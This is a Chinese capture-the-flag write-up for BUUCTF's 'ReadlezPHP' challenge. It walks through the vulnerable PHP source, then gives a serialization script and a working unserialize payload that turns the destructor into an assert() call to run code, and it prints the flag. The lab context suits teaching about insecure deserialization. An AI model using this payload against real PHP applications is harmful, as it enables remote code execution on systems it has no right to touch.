BUUCTF——ReadlezPHP

BUUCTF------ReadlezPHP

进入靶场

看了看框架和源码信息

没有什么可以利用的地方

爆破一下目录看看

结果只出来个index.php

看了一下Findsomthing

报了个路径

复制代码
/time.php?source

拼接访问一下

出了个php代码

php 复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

代码结构分析

  1. 类定义 - HelloPhp 类:
    • 属性 :
      • public $a
      • public $b
    • 构造函数 __construct() :
      • 初始化 $this->a = "Y-m-d h:i:s" (日期格式字符串)
      • 初始化 $this->b = "date" (PHP日期函数名)
    • 析构函数 __destruct() :
      • $this->a 赋值给 $a
      • $this->b 赋值给 $b
      • 执行 $b($a) 并输出结果 (动态函数调用)
  2. 实例化 :
    • $c = new HelloPhp 创建了一个默认的 HelloPhp 对象
  3. 源代码查看功能 :
    • 如果 GET 参数 source 存在,则显示当前文件源代码并退出
  4. 反序列化入口 :
    • @$ppp = unserialize($_GET["data"]) 从 GET 参数 data 反序列化数据

构造反序列化payload

php 复制代码
<?php
class HelloPhp
{
    public $a='phpinfo()';
    public $b='assert';

}
$c = new HelloPhp;
echo(serialize($c));

拿到反序列化代码

构造payload

复制代码
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

进入phpinfo 翻翻配置信息

翻到好东西了

复制代码
flag{6fcec1e0-69df-46c7-a734-22b02c305449}

直接下播!!!

相关推荐
陈天伟教授11 小时前
人工智能应用- 机器做梦:06.动态梦境:小结
人工智能·神经网络·安全·cnn·xss
惊岁晚11 小时前
【WSL】访问443端口被拒
网络安全
漫雾_11 小时前
被 Lazarus 长期利用的漏洞:Windows AppLocker 内核模式权限提升漏洞复现
c++·windows·安全
shuangti11 小时前
315特别关注:爽提全链路食安管控,为校园外卖加上“安全锁”
安全
国科安芯11 小时前
抗辐照加固CAN FD芯片的商业航天与车规级应用解析
科技·嵌入式硬件·安全·fpga开发·安全威胁分析
道清茗11 小时前
【RH134知识点问答题】第11章 管理网络安全
linux·安全·web安全
wg262713 小时前
win10电脑中的文件防止被安全中心当病毒清除
安全
vortex514 小时前
evil-winrm 与 evil-winrm-py 使用指南
网络安全·渗透测试·kali
德迅云安全杨德俊14 小时前
筑牢企业服务器防线:安全体系构建实操手册
网络·安全·web安全
xixixi7777714 小时前
数字世界的攻防战:网络安全的演进之路
网络·人工智能·安全·web安全·网络安全·攻击